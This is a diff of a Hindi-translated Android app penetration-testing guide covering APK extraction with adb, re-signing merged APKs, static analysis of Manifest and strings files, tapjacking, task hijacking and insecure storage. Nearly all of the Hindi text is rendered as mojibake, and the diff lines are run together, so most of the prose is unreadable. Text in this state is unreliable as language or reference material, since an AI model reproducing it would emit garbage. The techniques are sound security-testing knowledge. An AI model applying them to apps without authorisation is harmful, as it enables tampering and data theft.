рддрд░реАрдХрд╛ рдЬрд╛рдирдиреЗ рдХреЗ - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ APK рдирд┐рдХрд╛рд▓реЗрдВ: +- рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ APK рдирд┐рдХрд╛рд▓рдирд╛: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## рдХреЗрд╕ рд╕реНрдЯрдбреАрдЬрд╝ рдФрд░ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ +## Case Studies & Vulnerabilities {{#ref}} @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Static Analysis -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ APK рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╕рдордп рдЖрдкрдХреЛ decompiler рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Java code** рдХреЛ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдПред\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, APK рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **Java code** рдХреЛ decompiler рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдПред\ +рдХреГрдкрдпрд╛, [**read here to find information about different available decompilers**](apk-decompilers.md). -### рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдХреА рддрд▓рд╛рд╢ +### Looking for interesting Info -APK рдХреА **strings** рдХреЛ рджреЗрдЦрдХрд░ рдЖрдк **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** рдФрд░ рдХрд┐рд╕реА рднреА рд░реЛрдЪрдХ рдЪреАрдЬрд╝ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ... рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдХреЛрдИ **backdoors** рдпрд╛ authentication backdoors (app рдореЗрдВ hardcoded admin credentials) рднреА рдЦреЛрдЬреЗрдВред +APK рдХреА **strings** рдХреЛ рджреЗрдЦрдХрд░ рдЖрдк **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** рдФрд░ рдХрд┐рд╕реА рднреА рджрд┐рд▓рдЪрд╕реНрдк рдЪреАрдЬрд╝ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ... рдХреЛрдб execution рдХреЗ **backdoors** рдпрд╛ authentication backdoors (hardcoded admin credentials to the app) рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред **Firebase** -рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджреЗрдВ **firebase URLs** рдкрд░ рдФрд░ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ configured рд╣реИред [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +firebase URLs рдкрд░ рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджреЗрдВ рдФрд░ рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рд╣реИред [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml -рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА _Manifest.xml_ рдФрд░ _strings.xml_ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА **рдЬрд╛рдБрдЪ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИ**ред рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ decompilers рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдХреЗ рдпрд╛ APK рдХрд╛ file extension .zip рдореЗрдВ рдмрджрд▓рдХрд░ рдФрд░ рдлрд┐рд░ unzip рдХрд░рдХреЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА _Manifest.xml_ рдФрд░ **_strings.xml_** рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдВрдЪ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреА рд╣реИред рдЗрдиреНрд╣реЗрдВ decompilers рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ APK рдХреА рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ .zip рдореЗрдВ rename рдХрд░рдХреЗ unzip рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **Manifest.xml** рд╕реЗ рдкрд╣рдЪрд╛рдиреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -- **Debuggable Applications**: рдРрд╕реЗ Applications рдЬреЛ _Manifest.xml_ рдореЗрдВ `debuggable="true"` рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рд╣реИрдВ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпреЗ рдХрдиреЗрдХреНрд╢рдиреНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ exploitation рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред debuggable applications рдХреЛ рдвреВрдБрдврдиреЗ рдФрд░ exploit рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ tutorial рджреЗрдЦреЗрдВред -- **Backup Settings**: рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реЗ applications рдХреЗ рд▓рд┐рдП `android:allowBackup="false"` attribute рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ adb рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдбреЗрдЯрд╛ backups рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ, рдЦрд╛рд╕рдХрд░ рдЬрдм usb debugging рд╕рдХреНрд╖рдо рд╣реЛред -- **Network Security**: рдХрд╕реНрдЯрдо network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) рдЬреЛ _res/xml/_ рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ certificate pins рдФрд░ HTTP traffic рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЬреИрд╕реА рд╕реБрд░рдХреНрд╖рд╛ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╡рд┐рд╢рд┐рд╖реНрдЯ рдбреЛрдореЗрдиреЛрдВ рдХреЗ рд▓рд┐рдП HTTP traffic рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╣реИред -- **Exported Activities and Services**: Manifest рдореЗрдВ exported activities рдФрд░ services рдХреА рдкрд╣рдЪрд╛рди рдРрд╕реЗ рдХрдореНрдкреЛрдиреЗрдВрдЯреНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ misuse рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред dynamic testing рдХреЗ рджреМрд░рд╛рди рдЖрдЧреЗ рдХреА рдЬрд╛рдВрдЪ рдпрд╣ рдмрддрд╛рдпреЗрдЧреА рдХрд┐ рдЗрди рдХрдореНрдкреЛрдиреЗрдВрдЯреНрд╕ рдХреЛ рдХреИрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -- **Content Providers and FileProviders**: рдПрдХреНрд╕рдкреЛрдЬрд╝реНрдб content providers рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдпрд╛ рдбреЗрдЯрд╛ рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред FileProviders рдХреА configuration рднреА рдзреНрдпрд╛рди рд╕реЗ рдЬрд╛рдБрдЪреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред -- **Broadcast Receivers and URL Schemes**: рдпреЗ рдХрдореНрдкреЛрдиреЗрдВрдЯреНрд╕ exploitation рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди URL schemes рдХреЗ рдкреНрд░рдмрдВрдзрди рдкрд░ рд░рдЦреЗрдВ рддрд╛рдХрд┐ input vulnerabilities рди рд╣реЛрдВред -- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, рдФрд░ `maxSdkVersion` attributes рдпрд╣ рдмрддрд╛рддреА рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ Android versions рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ, рдФрд░ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдкреБрд░рд╛рдиреЗ, vulnerable Android versions рдХрд╛ рд╕рдорд░реНрдерди рди рдХрд░рдирд╛ рдХреНрдпреЛрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред +- **Debuggable Applications**: Manifest.xml рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрджрд┐ `debuggable="true"` рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рд╣реИрдВ рддреЛ рд╡реЗ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдРрд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ exploit рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред debuggable applications рдХреЛ рдвреВрдБрдврдиреЗ рдФрд░ exploit рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдмрдВрдзрд┐рдд рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рджреЗрдЦреЗрдВред +- **Backup Settings**: рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП `android:allowBackup="false"` attribute рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ adb рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдбреЗрдЯрд╛ backups рд░реЛрдХреЗ рдЬрд╛ рд╕рдХреЗрдВ, рд╡рд┐рд╢реЗрд╖рдХрд░ рдЬрдм usb debugging enabled рд╣реЛред +- **Network Security**: рдХрд╕реНрдЯрдо network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) рдЬреЛ _res/xml/_ рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ, certificate pins рдФрд░ HTTP рдЯреНрд░реИрдлрд┐рдХ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЬреИрд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╡рд░рдг рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рддреМрд░ рдкрд░ рдХреБрдЫ domains рдХреЗ рд▓рд┐рдП HTTP рдЯреНрд░реИрдлрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ред +- **Exported Activities and Services**: Manifest рдореЗрдВ exported activities рдФрд░ services рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рд╕реЗ рдРрд╕реЗ components рд╕рд╛рдордиреЗ рдЖ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред dynamic testing рдХреЗ рджреМрд░рд╛рди рдЖрдЧреЗ рдХреА рдЬрд╛рдВрдЪ рд╕реЗ рдпрд╣ рдкрддрд╛ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЗрди components рдХрд╛ рдХреИрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- **Content Providers and FileProviders**: рдПрдХреНрд╕рдкреЛрдЬрд╝реНрдб content providers рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдпрд╛ рдбреЗрдЯрд╛ рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред FileProviders рдХреА configuration рдХреЛ рднреА рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +- **Broadcast Receivers and URL Schemes**: рдпреЗ components exploitation рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖рдХрд░ рдпрд╣ рджреЗрдЦрдирд╛ рдХрд┐ URL schemes input рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ manage рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред +- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, рдФрд░ `maxSdkVersion` attributes рдпрд╣ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ Android versions рд╕рдкреЛрд░реНрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдкреБрд░рд╛рдиреЗ, vulnerable Android versions рдХрд╛ рд╕рдорд░реНрдерди рди рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -**strings.xml** рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ API keys, custom schemas, рдФрд░ рдЕрдиреНрдп developer notes рдорд┐рд▓ рд╕рдХрддреА рд╣реИрдВ, рдЬреЛ рдЗрди resources рдХреА рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╕рдореАрдХреНрд╖рд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддрд╛ рд╣реИред +**strings.xml** рдлрд╝рд╛рдЗрд▓ рд╕реЗ, рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ API keys, custom schemas, рдФрд░ рдЕрдиреНрдп developer notes рдХрд╛ рдкрддрд╛ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЗрди resources рдХреА рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╕рдореАрдХреНрд╖рд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддрд╛ рд╣реИред ### Tapjacking -Tapjacking рдПрдХ рдРрд╕рд╛ рд╣рдорд▓рд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ malicious application рд▓реЙрдиреНрдЪ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ victim application рдХреЗ рдКрдкрд░ рдЦреБрдж рдХреЛ position рдХрд░ рд▓реЗрддреА рд╣реИред рдЬрдм рдпрд╣ victim app рдХреЛ рджреГрд╢реНрдп рд░реВрдк рд╕реЗ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░ рджреЗрддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ user interface рдЗрд╕ рддрд░рд╣ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпреВрдЬрд╝рд░ рдХреЛ рдЗрд╕рдХреЗ рд╕рд╛рде interact рдХрд░рдиреЗ рдореЗрдВ рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛рдП, рдЬрдмрдХрд┐ рдпрд╣ interaction victim app рдХреЛ pass рдХрд░ рджреЗрддреА рд╣реИред\ -рдкреНрд░рднрд╛рд╡рддрдГ рдпрд╣ рдпреВрдЬрд╝рд░ рдХреЛ рдЕрдВрдзрд╛ рдХрд░ рджреЗрддрд╛ рд╣реИ рдХрд┐ рд╡реЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ victim app рдкрд░ рдХрд╛рд░реНрдп рдХрд░ рд░рд╣реЗ рд╣реИрдВред +**Tapjacking** рдПрдХ рд╣рдорд▓рд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ **malicious** **application** рд▓реЙрдиреНрдЪ рд╣реЛрддреА рд╣реИ рдФрд░ **victim application рдХреЗ рдКрдкрд░ рдЦреБрдж рдХреЛ рдкреЛрдЬрд╝рд┐рд╢рди рдХрд░ рд▓реЗрддреА рд╣реИ**ред рдЬрдм рдпрд╣ victim app рдХреЛ рджреГрд╖реНрдЯрд┐ рд╕реЗ рдЫреБрдкрд╛ рджреЗрддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ UI рдЗрд╕ рддрд░рд╣ рдбрд┐рдЬрд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдзреЛрдЦрд╛ рджреЗ рдХрд░ рдЙрд╕ рдкрд░ рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рд╡рд╛ рд▓реЗ, рдЬрдмрдХрд┐ рдпрд╣ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ victim app рдХреЛ рдкрд╛рд╕ рдХрд░ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИред\ +рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрд╣ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдВрдзрд╛ рдХрд░ рджреЗрддрд╛ рд╣реИ рдХрд┐ рд╡реЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ victim app рдкрд░ рд╣реА рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВ**ред -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: +Find more information in: {{#ref}} @@ -104,55 +104,55 @@ tapjacking.md ### Task Hijacking -рдПрдХ activity рдЬрд┐рд╕рдХрд╛ `launchMode` `singleTask` рдкрд░ рд╕реЗрдЯ рд╣реИ рдФрд░ рдХрд┐рд╕реА рднреА `taskAffinity` рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд╡рд╣ task Hijacking рдХреЗ рд▓рд┐рдП vulnerable рд╣реЛрддреА рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ malicious application рдЗрдВрд╕реНрдЯреЙрд▓ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ рдпрджрд┐ рдЙрд╕реЗ рдЕрд╕рд▓реА application рд╕реЗ рдкрд╣рд▓реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рддреЛ рдпрд╣ рдЕрд╕рд▓реА application рдХреЗ task рдХреЛ hijack рдХрд░ рд╕рдХрддреА рд╣реИ (рддреЛ рдпреВрдЬрд╝рд░ рдпрд╣ рд╕реЛрдЪрдХрд░ malicious application рдХреЗ рд╕рд╛рде interact рдХрд░реЗрдЧрд╛ рдХрд┐ рд╡рд╣ рдЕрд╕рд▓реА рдПрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ)ред +рдПрдХ **activity** рдЬрд┐рд╕рдХрд╛ **`launchMode`** **`singleTask`** рдкрд░ рд╕реЗрдЯ рд╣реИ рдФрд░ рдХреЛрдИ `taskAffinity` defined рдирд╣реАрдВ рд╣реИ, рд╡рд╣ Task Hijacking рдХреЗ рд▓рд┐рдП vulnerable рд╣реЛрддреА рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ **malicious application** рдЗрдВрд╕реНрдЯреЙрд▓ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ рдпрджрд┐ рдЗрд╕реЗ рдЕрд╕рд▓реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдП рддреЛ рдпрд╣ **рдЕрд╕рд▓реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ task рдХреЛ hijack рдХрд░ рд╕рдХрддреА рд╣реИ** (рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╣ рд╕реЛрдЪрдХрд░ рдХрд┐ рд╡рд╣ рдЕрд╕рд▓реА рдРрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, **malicious application** рдХреЗ рд╕рд╛рде interact рдХрд░реЗрдЧрд╛)ред -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: +More info in: {{#ref}} android-task-hijacking.md {{#endref}} -### рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рд╕реНрдЯреЛрд░реЗрдЬ +### Insecure data storage **Internal Storage** -Android рдореЗрдВ, рдЖрдВрддрд░рд┐рдХ storage рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдиреНрд╣реАрдВ apps рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЙрдиреНрд╣реЗрдВ рдмрдирд╛рдпрд╛ рд╣реИред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп Android operating system рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдбреЗрд╡рд▓рдкрд░ рдХрднреА-рдХрднреА `MODE_WORLD_READABLE` рдФрд░ `MODE_WORLD_WRITABLE` рдЬреИрд╕реЗ рдореЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡рд┐рднрд┐рдиреНрди applications рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХреА рдЬрд╛ рд╕рдХреЗрдВред рдпреЗ рдореЛрдб рдЕрдиреНрдп applications, рдЬрд┐рдирдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ malicious ones рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдХреЗ рд▓рд┐рдП рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ unrestricted access рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред +Android рдореЗрдВ, internal storage рдореЗрдВ рд░рдЦреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЙрд╕ рдРрдк рдХреЗ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рд╣реА рдкрд╣реБрдБрдЪ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реЛрддреА рд╣реИрдВред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп Android operating system рджреНрд╡рд╛рд░рд╛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХрднреА-рдХрднреА `MODE_WORLD_READABLE` рдФрд░ `MODE_WORLD_WRITABLE` рдЬреИрд╕реЗ modes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдлрд╛рдЗрд▓реЗрдВ 